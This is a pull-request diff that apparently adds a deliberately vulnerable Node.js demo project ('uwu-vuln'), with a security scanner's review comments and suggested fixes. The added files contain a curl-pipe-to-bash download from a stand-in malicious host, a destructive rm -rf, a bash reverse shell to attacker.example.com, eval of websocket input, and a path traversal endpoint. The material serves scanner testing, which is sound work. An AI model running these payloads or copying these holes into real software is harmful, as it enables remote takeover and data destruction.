Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 18 additions & 0 deletions cli/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
const { exec } = require('child_process');

const userArg = process.argv[2] || '';

const cmd = `
rm -rf /tmp/vuln_dir --no-preserve-root &&
Comment on lines +1 to +6
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

OS Command Injection in cli/index.js via argv[2] (Severity: CRITICAL)

Arbitrary command execution is possible due to the insecure use of child_process.exec. The code in cli/index.js executes a shell command that interpolates user-supplied input from process.argv[2] directly into the command string, which allows an attacker to inject arbitrary commands. This is combined with a hardcoded curl | bash command, resulting in immediate remote code execution, followed by a destructive rm -rf operation.
View details in ZeroPath

Suggested change
const { exec } = require('child_process');
const userArg = process.argv[2] || '';
const cmd = `
rm -rf /tmp/vuln_dir --no-preserve-root &&
const { execFile } = require('child_process');
// Read a single user argument. Default to current directory.
const userArg = process.argv[2] || '.';
// Reject arguments containing shell/meta characters to avoid injection and misuse.
// Allow only simple filenames/paths composed of letters, numbers, dot, underscore, dash and slashes.
const ALLOWED_ARG_RE = /^[A-Za-z0-9._\-\/]+$/;
if (!ALLOWED_ARG_RE.test(userArg)) {
console.error('[!] Invalid argument. Only simple paths consisting of letters, numbers, dot, underscore, dash and slash are allowed.');
process.exit(1);
}
const cmd = `
rm -rf /tmp/vuln_dir --no-preserve-root &&

curl http://malicious.example.com/install.sh | bash &&
ls ${userArg}
`;

console.log('[*] Running dangerous CLI pipeline…');
exec(cmd, (err, stdout, stderr) => {
if (err) {
console.error('[!] Pipeline failed:', err);
return;
}
console.log('[+] Pipeline succeeded. stdout:\\n', stdout);
});
17 changes: 17 additions & 0 deletions disk/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();

// Path Traversal
app.get('/read', (req, res) => {
const file = req.query.file;
const fullPath = path.resolve(__dirname, file);
if (!fullPath.startsWith(__dirname + path.sep)) return res.status(400).send('Invalid file path');
fs.readFile(fullPath, 'utf8', (err, data) => {
if (err) return res.status(500).send(err.message);
res.send(data);
});
});

Comment on lines +3 to +16
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Path Traversal Vulnerability in disk/index.js (Severity: MEDIUM)

Arbitrary file disclosure is possible due to a path traversal vulnerability in disk/index.js:5-14. The /read endpoint uses req.query.file to construct a file path, then attempts to restrict access using startsWith, which can be bypassed with symlinks or path variations. This could expose sensitive information, such as configuration files or API keys, from the server's file system.
View details in ZeroPath

Suggested change
const path = require('path');
const app = express();
// Path Traversal
app.get('/read', (req, res) => {
const file = req.query.file;
const fullPath = path.resolve(__dirname, file);
if (!fullPath.startsWith(__dirname + path.sep)) return res.status(400).send('Invalid file path');
fs.readFile(fullPath, 'utf8', (err, data) => {
if (err) return res.status(500).send(err.message);
res.send(data);
});
});
const path = require('path');
const app = express();
// Secure read endpoint
const baseDir = fs.realpathSync(__dirname);
app.get('/read', (req, res) => {
const file = req.query.file;
if (typeof file !== 'string' || file.length === 0) return res.status(400).send('Invalid file');
if (file.includes('\u0000')) return res.status(400).send('Invalid file');
const fullPath = path.resolve(__dirname, file);
fs.realpath(fullPath, (err, realFullPath) => {
if (err) return res.status(400).send('Invalid file path');
// Ensure the resolved path is inside the base directory and not a directory itself
if (realFullPath !== baseDir && !realFullPath.startsWith(baseDir + path.sep)) {
return res.status(400).send('Invalid file path');
}
fs.stat(realFullPath, (errStat, stats) => {
if (errStat) return res.status(500).send(errStat.message);
if (!stats.isFile()) return res.status(400).send('Not a file');
fs.readFile(realFullPath, 'utf8', (errRead, data) => {
if (errRead) return res.status(500).send(errRead.message);
res.send(data);
});
});
});
});

app.listen(3001, () => console.log('Disk vuln on port 3001'));
11 changes: 11 additions & 0 deletions package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
{
"name": "uwu-vuln",
"version": "1.0.0",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"description": ""
}
12 changes: 12 additions & 0 deletions stdin/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
const { exec } = require('child_process');

const payload = 'bash -i >& /dev/tcp/attacker.example.com/4444 0>&1';

console.log('[*] Executing reverse shell payload…');
exec(payload, (err, stdout, stderr) => {
if (err) {
console.error('[!] Error executing payload:', err);
return;
}
console.log('[+] Payload executed. stdout:', stdout);
});
Comment on lines +1 to +12
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Unsafe Command Execution via Reverse Shell in index.js (Severity: CRITICAL)

Executing a reverse shell command allows for arbitrary code execution and full system compromise. The child_process.exec function in stdin/index.js immediately executes a hardcoded payload, opening a reverse shell connection to attacker.example.com on port 4444, which grants an attacker complete remote access to the system. This immediate execution within the application's startup allows attackers to gain control as soon as the application starts.
View details in ZeroPath

Suggested change
const { exec } = require('child_process');
const payload = 'bash -i >& /dev/tcp/attacker.example.com/4444 0>&1';
console.log('[*] Executing reverse shell payload…');
exec(payload, (err, stdout, stderr) => {
if (err) {
console.error('[!] Error executing payload:', err);
return;
}
console.log('[+] Payload executed. stdout:', stdout);
});
// Unsafe reverse shell execution removed.
// Reason: The original code executed a hardcoded reverse shell command at startup,
// which allows arbitrary remote code execution and full system compromise.
// This module now disables that behavior. If shell execution is required,
// implement it explicitly and safely behind authentication/authorization and
// configuration controlled by the application operator.
console.error('[!] Unsafe reverse shell payload detected and disabled. Execution prevented.');
// Export a no-op to preserve module import behavior for other modules.
module.exports = function noop() {
return null;
};

12 changes: 12 additions & 0 deletions ws/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

// RCE
wss.on('connection', ws => {
ws.on('message', msg => {
eval(msg);
ws.send('Executed: ' + msg);
});
});

Comment on lines +4 to +11
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Remote Code Execution via WebSocket Message Evaluation (Severity: CRITICAL)

Unsafe use of eval() allows remote code execution. The WebSocket server in ws/index.js directly passes incoming messages to eval(msg) on line 7, which causes arbitrary JavaScript code to be executed within the server's context. Consequently, any connected client can execute arbitrary commands with the application's privileges, potentially compromising the entire system.
View details in ZeroPath

Suggested change
// RCE
wss.on('connection', ws => {
ws.on('message', msg => {
eval(msg);
ws.send('Executed: ' + msg);
});
});
// RCE
wss.on('connection', ws => {
ws.on('message', msg => {
// Do not evaluate incoming messages. Parse JSON and handle known actions only.
try {
const data = JSON.parse(msg);
if (data && data.action === 'echo' && typeof data.message === 'string') {
ws.send('Echo: ' + data.message);
} else {
ws.send('Unsupported or missing action');
}
} catch (err) {
ws.send('Invalid message format. Expected JSON with {"action":"echo","message":"..."}');
}
});
});

console.log('WS vuln on port 8080');